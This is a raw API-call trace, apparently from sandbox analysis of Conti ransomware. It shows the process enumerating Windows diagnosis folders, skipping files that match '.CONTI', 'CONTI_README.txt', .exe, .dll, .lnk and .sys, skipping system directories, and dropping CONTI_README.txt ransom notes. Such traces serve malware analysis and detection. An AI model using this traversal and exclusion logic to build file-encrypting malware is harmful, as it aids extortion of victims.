	[0104.705] lstrcpyW (in: lpString1=0x17c8648, lpString2="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedSettings" | out: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedSettings") returned="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedSettings"
	[0104.705] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedSettings", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedSettings\\") returned="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedSettings\\"
	[0104.705] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedSettings\\", lpString2="telemetry.P-ARIA-31f8f00f75ee43d4996762625b6917f2-ce77d96f-eec8-4063-a05a-09720f5bbf1b-7138.json" | out: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedSettings\\telemetry.P-ARIA-31f8f00f75ee43d4996762625b6917f2-ce77d96f-eec8-4063-a05a-09720f5bbf1b-7138.json") returned="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedSettings\\telemetry.P-ARIA-31f8f00f75ee43d4996762625b6917f2-ce77d96f-eec8-4063-a05a-09720f5bbf1b-7138.json"
	[0104.705] FindNextFileW (in: hFindFile=0x17c8370, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0x7f139471, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x7f139471, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x7f4f45ae, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x90, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="telemetry.P-ARIA-5476d0c4a7a347909c4b8a13078d4390-f8bdcecf-243f-40f8-b7c3-b9c44a57dead-7230.json", cAlternateFileName="TELEME~3.JSO")) returned 1
	[0104.705] lstrcmpiW (lpString1="telemetry.P-ARIA-5476d0c4a7a347909c4b8a13078d4390-f8bdcecf-243f-40f8-b7c3-b9c44a57dead-7230.json", lpString2=".") returned 1
	[0104.705] lstrcmpiW (lpString1="telemetry.P-ARIA-5476d0c4a7a347909c4b8a13078d4390-f8bdcecf-243f-40f8-b7c3-b9c44a57dead-7230.json", lpString2="..") returned 1
	[0104.705] StrStrIW (lpFirst="telemetry.P-ARIA-5476d0c4a7a347909c4b8a13078d4390-f8bdcecf-243f-40f8-b7c3-b9c44a57dead-7230.json", lpSrch=".CONTI") returned 0x0
	[0104.705] StrStrIW (lpFirst="telemetry.P-ARIA-5476d0c4a7a347909c4b8a13078d4390-f8bdcecf-243f-40f8-b7c3-b9c44a57dead-7230.json", lpSrch="CONTI_README.txt") returned 0x0
	[0104.705] StrStrIW (lpFirst="telemetry.P-ARIA-5476d0c4a7a347909c4b8a13078d4390-f8bdcecf-243f-40f8-b7c3-b9c44a57dead-7230.json", lpSrch=".exe") returned 0x0
	[0104.705] StrStrIW (lpFirst="telemetry.P-ARIA-5476d0c4a7a347909c4b8a13078d4390-f8bdcecf-243f-40f8-b7c3-b9c44a57dead-7230.json", lpSrch=".dll") returned 0x0
	[0104.705] StrStrIW (lpFirst="telemetry.P-ARIA-5476d0c4a7a347909c4b8a13078d4390-f8bdcecf-243f-40f8-b7c3-b9c44a57dead-7230.json", lpSrch=".lnk") returned 0x0
	[0104.705] StrStrIW (lpFirst="telemetry.P-ARIA-5476d0c4a7a347909c4b8a13078d4390-f8bdcecf-243f-40f8-b7c3-b9c44a57dead-7230.json", lpSrch=".sys") returned 0x0
	[0104.705] StrStrIW (lpFirst="telemetry.P-ARIA-5476d0c4a7a347909c4b8a13078d4390-f8bdcecf-243f-40f8-b7c3-b9c44a57dead-7230.json", lpSrch=".CONTI") returned 0x0
	[0104.705] StrStrIW (lpFirst="telemetry.P-ARIA-5476d0c4a7a347909c4b8a13078d4390-f8bdcecf-243f-40f8-b7c3-b9c44a57dead-7230.json", lpSrch="CONTI_README.txt") returned 0x0
	[0104.705] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedSettings") returned 53
	[0104.705] lstrlenW (lpString="telemetry.P-ARIA-5476d0c4a7a347909c4b8a13078d4390-f8bdcecf-243f-40f8-b7c3-b9c44a57dead-7230.json") returned 96
	[0104.705] GetProcessHeap () returned 0x1720000
	[0104.705] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x12e) returned 0x17c8780
	[0104.705] lstrcpyW (in: lpString1=0x17c8780, lpString2="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedSettings" | out: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedSettings") returned="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedSettings"
	[0104.705] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedSettings", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedSettings\\") returned="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedSettings\\"
	[0104.705] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedSettings\\", lpString2="telemetry.P-ARIA-5476d0c4a7a347909c4b8a13078d4390-f8bdcecf-243f-40f8-b7c3-b9c44a57dead-7230.json" | out: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedSettings\\telemetry.P-ARIA-5476d0c4a7a347909c4b8a13078d4390-f8bdcecf-243f-40f8-b7c3-b9c44a57dead-7230.json") returned="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedSettings\\telemetry.P-ARIA-5476d0c4a7a347909c4b8a13078d4390-f8bdcecf-243f-40f8-b7c3-b9c44a57dead-7230.json"
	[0104.705] FindNextFileW (in: hFindFile=0x17c8370, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0x698688ac, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0x698688ac, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0x69d06e63, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0xba4e, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="utc.app.json", cAlternateFileName="UTCAPP~1.JSO")) returned 1
	[0104.705] lstrcmpiW (lpString1="utc.app.json", lpString2=".") returned 1
	[0104.705] lstrcmpiW (lpString1="utc.app.json", lpString2="..") returned 1
	[0104.705] StrStrIW (lpFirst="utc.app.json", lpSrch=".CONTI") returned 0x0
	[0104.706] StrStrIW (lpFirst="utc.app.json", lpSrch="CONTI_README.txt") returned 0x0
	[0104.706] StrStrIW (lpFirst="utc.app.json", lpSrch=".exe") returned 0x0
	[0104.706] StrStrIW (lpFirst="utc.app.json", lpSrch=".dll") returned 0x0
	[0104.706] StrStrIW (lpFirst="utc.app.json", lpSrch=".lnk") returned 0x0
	[0104.706] StrStrIW (lpFirst="utc.app.json", lpSrch=".sys") returned 0x0
	[0104.706] StrStrIW (lpFirst="utc.app.json", lpSrch=".CONTI") returned 0x0
	[0104.706] StrStrIW (lpFirst="utc.app.json", lpSrch="CONTI_README.txt") returned 0x0
	[0104.706] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedSettings") returned 53
	[0104.706] lstrlenW (lpString="utc.app.json") returned 12
	[0104.706] GetProcessHeap () returned 0x1720000
	[0104.706] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x86) returned 0x17c6f28
	[0104.706] lstrcpyW (in: lpString1=0x17c6f28, lpString2="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedSettings" | out: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedSettings") returned="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedSettings"
	[0104.706] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedSettings", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedSettings\\") returned="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedSettings\\"
	[0104.706] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedSettings\\", lpString2="utc.app.json" | out: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedSettings\\utc.app.json") returned="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedSettings\\utc.app.json"
	[0104.706] FindNextFileW (in: hFindFile=0x17c8370, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a8b18c4, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5eab1ff, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5ed1465, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x67f, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="utc.app.json.bk", cAlternateFileName="UTCAPP~1.BK")) returned 1
	[0104.706] lstrcmpiW (lpString1="utc.app.json.bk", lpString2=".") returned 1
	[0104.706] lstrcmpiW (lpString1="utc.app.json.bk", lpString2="..") returned 1
	[0104.706] StrStrIW (lpFirst="utc.app.json.bk", lpSrch=".CONTI") returned 0x0
	[0104.706] StrStrIW (lpFirst="utc.app.json.bk", lpSrch="CONTI_README.txt") returned 0x0
	[0104.706] StrStrIW (lpFirst="utc.app.json.bk", lpSrch=".exe") returned 0x0
	[0104.706] StrStrIW (lpFirst="utc.app.json.bk", lpSrch=".dll") returned 0x0
	[0104.706] StrStrIW (lpFirst="utc.app.json.bk", lpSrch=".lnk") returned 0x0
	[0104.706] StrStrIW (lpFirst="utc.app.json.bk", lpSrch=".sys") returned 0x0
	[0104.706] StrStrIW (lpFirst="utc.app.json.bk", lpSrch=".CONTI") returned 0x0
	[0104.706] StrStrIW (lpFirst="utc.app.json.bk", lpSrch="CONTI_README.txt") returned 0x0
	[0104.706] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedSettings") returned 53
	[0104.706] lstrlenW (lpString="utc.app.json.bk") returned 15
	[0104.706] GetProcessHeap () returned 0x1720000
	[0104.706] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x8c) returned 0x181c1f0
	[0104.706] lstrcpyW (in: lpString1=0x181c1f0, lpString2="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedSettings" | out: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedSettings") returned="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedSettings"
	[0104.706] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedSettings", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedSettings\\") returned="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedSettings\\"
	[0104.706] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedSettings\\", lpString2="utc.app.json.bk" | out: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedSettings\\utc.app.json.bk") returned="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedSettings\\utc.app.json.bk"
	[0104.706] FindNextFileW (in: hFindFile=0x17c8370, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0x7e8bf97d, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x7e8bf97d, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x7ea85252, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x8e9, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="utc.cert.json", cAlternateFileName="UTCCER~1.JSO")) returned 1
	[0104.706] lstrcmpiW (lpString1="utc.cert.json", lpString2=".") returned 1
	[0104.706] lstrcmpiW (lpString1="utc.cert.json", lpString2="..") returned 1
	[0104.707] StrStrIW (lpFirst="utc.cert.json", lpSrch=".CONTI") returned 0x0
	[0104.707] StrStrIW (lpFirst="utc.cert.json", lpSrch="CONTI_README.txt") returned 0x0
	[0104.707] StrStrIW (lpFirst="utc.cert.json", lpSrch=".exe") returned 0x0
	[0104.707] StrStrIW (lpFirst="utc.cert.json", lpSrch=".dll") returned 0x0
	[0104.707] StrStrIW (lpFirst="utc.cert.json", lpSrch=".lnk") returned 0x0
	[0104.707] StrStrIW (lpFirst="utc.cert.json", lpSrch=".sys") returned 0x0
	[0104.707] StrStrIW (lpFirst="utc.cert.json", lpSrch=".CONTI") returned 0x0
	[0104.707] StrStrIW (lpFirst="utc.cert.json", lpSrch="CONTI_README.txt") returned 0x0
	[0104.707] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedSettings") returned 53
	[0104.707] lstrlenW (lpString="utc.cert.json") returned 13
	[0104.707] GetProcessHeap () returned 0x1720000
	[0104.707] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x88) returned 0x1733930
	[0104.707] lstrcpyW (in: lpString1=0x1733930, lpString2="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedSettings" | out: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedSettings") returned="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedSettings"
	[0104.707] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedSettings", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedSettings\\") returned="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedSettings\\"
	[0104.707] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedSettings\\", lpString2="utc.cert.json" | out: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedSettings\\utc.cert.json") returned="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedSettings\\utc.cert.json"
	[0104.707] FindNextFileW (in: hFindFile=0x17c8370, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0x7e8bf97d, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x7e8bf97d, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x7ea85252, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x8e9, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="utc.cert.json", cAlternateFileName="UTCCER~1.JSO")) returned 0
	[0104.707] GetProcessHeap () returned 0x1720000
	[0104.707] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1740898 | out: hHeap=0x1720000) returned 1
	[0104.707] FindClose (in: hFindFile=0x17c8370 | out: hFindFile=0x17c8370) returned 1
	[0104.707] GetProcessHeap () returned 0x1720000
	[0104.707] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1740910 | out: hHeap=0x1720000) returned 1
	[0104.707] FindNextFileW (in: hFindFile=0x17c7fb0, lpFindFileData=0x5c3f3d0 | out: lpFindFileData=0x5c3f3d0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x8e23c06e, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x8e23c06e, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f66c, dwReserved1=0xb6884, cFileName="ETLLogs", cAlternateFileName="")) returned 1
	[0104.707] lstrcmpiW (lpString1="ETLLogs", lpString2=".") returned 1
	[0104.707] lstrcmpiW (lpString1="ETLLogs", lpString2="..") returned 1
	[0104.707] lstrcmpiW (lpString1="ETLLogs", lpString2="tmp") returned -1
	[0104.707] lstrcmpiW (lpString1="ETLLogs", lpString2="winnt") returned -1
	[0104.707] lstrcmpiW (lpString1="ETLLogs", lpString2="Application Data") returned 1
	[0104.707] lstrcmpiW (lpString1="ETLLogs", lpString2="AppData") returned 1
	[0104.707] lstrcmpiW (lpString1="ETLLogs", lpString2="temp") returned -1
	[0104.707] lstrcmpiW (lpString1="ETLLogs", lpString2="thumb") returned -1
	[0104.707] lstrcmpiW (lpString1="ETLLogs", lpString2="$Recycle.Bin") returned 1
	[0104.707] lstrcmpiW (lpString1="ETLLogs", lpString2="$RECYCLE.BIN") returned 1
	[0104.707] lstrcmpiW (lpString1="ETLLogs", lpString2="System Volume Information") returned -1
	[0104.708] lstrcmpiW (lpString1="ETLLogs", lpString2="Program Files") returned -1
	[0104.708] lstrcmpiW (lpString1="ETLLogs", lpString2="Program Files (x86)") returned -1
	[0104.708] lstrcmpiW (lpString1="ETLLogs", lpString2="Boot") returned 1
	[0104.708] lstrcmpiW (lpString1="ETLLogs", lpString2="Windows") returned -1
	[0104.708] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Diagnosis") returned 34
	[0104.708] lstrlenW (lpString="ETLLogs") returned 7
	[0104.708] GetProcessHeap () returned 0x1720000
	[0104.708] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x56) returned 0x17c1508
	[0104.708] lstrcpyW (in: lpString1=0x17c1508, lpString2="C:\\ProgramData\\Microsoft\\Diagnosis" | out: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis") returned="C:\\ProgramData\\Microsoft\\Diagnosis"
	[0104.708] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\") returned="C:\\ProgramData\\Microsoft\\Diagnosis\\"
	[0104.708] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\", lpString2="ETLLogs" | out: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\ETLLogs") returned="C:\\ProgramData\\Microsoft\\Diagnosis\\ETLLogs"
	[0104.708] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Diagnosis\\ETLLogs") returned 42
	[0104.708] GetProcessHeap () returned 0x1720000
	[0104.708] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x5a) returned 0x17c0850
	[0104.708] lstrcpyW (in: lpString1=0x17c0850, lpString2="C:\\ProgramData\\Microsoft\\Diagnosis\\ETLLogs" | out: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\ETLLogs") returned="C:\\ProgramData\\Microsoft\\Diagnosis\\ETLLogs"
	[0104.708] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\ETLLogs", lpString2="\\*" | out: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\ETLLogs\\*") returned="C:\\ProgramData\\Microsoft\\Diagnosis\\ETLLogs\\*"
	[0104.708] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Diagnosis\\ETLLogs") returned 42
	[0104.708] lstrlenW (lpString="CONTI_README.txt") returned 16
	[0104.708] GetProcessHeap () returned 0x1720000
	[0104.708] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x78) returned 0x17e39d8
	[0104.708] lstrcpyW (in: lpString1=0x17e39d8, lpString2="C:\\ProgramData\\Microsoft\\Diagnosis\\ETLLogs" | out: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\ETLLogs") returned="C:\\ProgramData\\Microsoft\\Diagnosis\\ETLLogs"
	[0104.708] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\ETLLogs", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\ETLLogs\\") returned="C:\\ProgramData\\Microsoft\\Diagnosis\\ETLLogs\\"
	[0104.708] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\ETLLogs\\", lpString2="CONTI_README.txt" | out: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\ETLLogs\\CONTI_README.txt") returned="C:\\ProgramData\\Microsoft\\Diagnosis\\ETLLogs\\CONTI_README.txt"
	[0104.708] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\ETLLogs\\CONTI_README.txt" (normalized: "c:\\programdata\\microsoft\\diagnosis\\etllogs\\conti_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324
	[0104.710] GetProcessHeap () returned 0x1720000
	[0104.710] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17e39d8 | out: hHeap=0x1720000) returned 1
	[0104.710] WriteFile (in: hFile=0x324, lpBuffer=0xba0d0*, nNumberOfBytesToWrite=0xa2, lpNumberOfBytesWritten=0x5c3f13c, lpOverlapped=0x0 | out: lpBuffer=0xba0d0*, lpNumberOfBytesWritten=0x5c3f13c*=0xa2, lpOverlapped=0x0) returned 1
	[0104.711] CloseHandle (hObject=0x324) returned 1
	[0104.711] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\ETLLogs\\*", lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x8e23c06e, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x52409c06, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName=".", cAlternateFileName="")) returned 0x17c8070
	[0104.711] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0104.711] FindNextFileW (in: hFindFile=0x17c8070, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x8e23c06e, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x52409c06, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="..", cAlternateFileName="")) returned 1
	[0104.711] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0104.711] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0104.711] FindNextFileW (in: hFindFile=0x17c8070, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x2d5cadbc, ftLastAccessTime.dwHighDateTime=0x1d336e0, ftLastWriteTime.dwLowDateTime=0x2d5cadbc, ftLastWriteTime.dwHighDateTime=0x1d336e0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="AutoLogger", cAlternateFileName="AUTOLO~1")) returned 1
	[0104.711] lstrcmpiW (lpString1="AutoLogger", lpString2=".") returned 1
	[0104.711] lstrcmpiW (lpString1="AutoLogger", lpString2="..") returned 1
	[0104.711] lstrcmpiW (lpString1="AutoLogger", lpString2="tmp") returned -1
	[0104.711] lstrcmpiW (lpString1="AutoLogger", lpString2="winnt") returned -1
	[0104.711] lstrcmpiW (lpString1="AutoLogger", lpString2="Application Data") returned 1
	[0104.711] lstrcmpiW (lpString1="AutoLogger", lpString2="AppData") returned 1
	[0104.711] lstrcmpiW (lpString1="AutoLogger", lpString2="temp") returned -1
	[0104.711] lstrcmpiW (lpString1="AutoLogger", lpString2="thumb") returned -1
	[0104.711] lstrcmpiW (lpString1="AutoLogger", lpString2="$Recycle.Bin") returned 1
	[0104.711] lstrcmpiW (lpString1="AutoLogger", lpString2="$RECYCLE.BIN") returned 1
	[0104.711] lstrcmpiW (lpString1="AutoLogger", lpString2="System Volume Information") returned -1
	[0104.711] lstrcmpiW (lpString1="AutoLogger", lpString2="Program Files") returned -1
	[0104.711] lstrcmpiW (lpString1="AutoLogger", lpString2="Program Files (x86)") returned -1
	[0104.711] lstrcmpiW (lpString1="AutoLogger", lpString2="Boot") returned -1
	[0104.711] lstrcmpiW (lpString1="AutoLogger", lpString2="Windows") returned -1
	[0104.712] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Diagnosis\\ETLLogs") returned 42
	[0104.712] lstrlenW (lpString="AutoLogger") returned 10
	[0104.712] GetProcessHeap () returned 0x1720000
	[0104.712] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x6c) returned 0x1740b68
	[0104.712] lstrcpyW (in: lpString1=0x1740b68, lpString2="C:\\ProgramData\\Microsoft\\Diagnosis\\ETLLogs" | out: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\ETLLogs") returned="C:\\ProgramData\\Microsoft\\Diagnosis\\ETLLogs"
	[0104.712] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\ETLLogs", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\ETLLogs\\") returned="C:\\ProgramData\\Microsoft\\Diagnosis\\ETLLogs\\"
	[0104.712] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\ETLLogs\\", lpString2="AutoLogger" | out: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\ETLLogs\\AutoLogger") returned="C:\\ProgramData\\Microsoft\\Diagnosis\\ETLLogs\\AutoLogger"
	[0104.712] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Diagnosis\\ETLLogs\\AutoLogger") returned 53
	[0104.712] GetProcessHeap () returned 0x1720000
	[0104.712] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x70) returned 0x1740640
	[0104.712] lstrcpyW (in: lpString1=0x1740640, lpString2="C:\\ProgramData\\Microsoft\\Diagnosis\\ETLLogs\\AutoLogger" | out: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\ETLLogs\\AutoLogger") returned="C:\\ProgramData\\Microsoft\\Diagnosis\\ETLLogs\\AutoLogger"
	[0104.712] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\ETLLogs\\AutoLogger", lpString2="\\*" | out: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\ETLLogs\\AutoLogger\\*") returned="C:\\ProgramData\\Microsoft\\Diagnosis\\ETLLogs\\AutoLogger\\*"
	[0104.712] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Diagnosis\\ETLLogs\\AutoLogger") returned 53
	[0104.712] lstrlenW (lpString="CONTI_README.txt") returned 16
	[0104.712] GetProcessHeap () returned 0x1720000
	[0104.712] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x8e) returned 0x181c0c0
	[0104.712] lstrcpyW (in: lpString1=0x181c0c0, lpString2="C:\\ProgramData\\Microsoft\\Diagnosis\\ETLLogs\\AutoLogger" | out: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\ETLLogs\\AutoLogger") returned="C:\\ProgramData\\Microsoft\\Diagnosis\\ETLLogs\\AutoLogger"
	[0104.712] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\ETLLogs\\AutoLogger", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\ETLLogs\\AutoLogger\\") returned="C:\\ProgramData\\Microsoft\\Diagnosis\\ETLLogs\\AutoLogger\\"
	[0104.712] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\ETLLogs\\AutoLogger\\", lpString2="CONTI_README.txt" | out: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\ETLLogs\\AutoLogger\\CONTI_README.txt") returned="C:\\ProgramData\\Microsoft\\Diagnosis\\ETLLogs\\AutoLogger\\CONTI_README.txt"
	[0104.712] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\ETLLogs\\AutoLogger\\CONTI_README.txt" (normalized: "c:\\programdata\\microsoft\\diagnosis\\etllogs\\autologger\\conti_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0104.713] GetProcessHeap () returned 0x1720000
	[0104.713] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x181c0c0 | out: hHeap=0x1720000) returned 1
	[0104.713] WriteFile (in: hFile=0x38c, lpBuffer=0xba0d0*, nNumberOfBytesToWrite=0xa2, lpNumberOfBytesWritten=0x5c3eecc, lpOverlapped=0x0 | out: lpBuffer=0xba0d0*, lpNumberOfBytesWritten=0x5c3eecc*=0xa2, lpOverlapped=0x0) returned 1
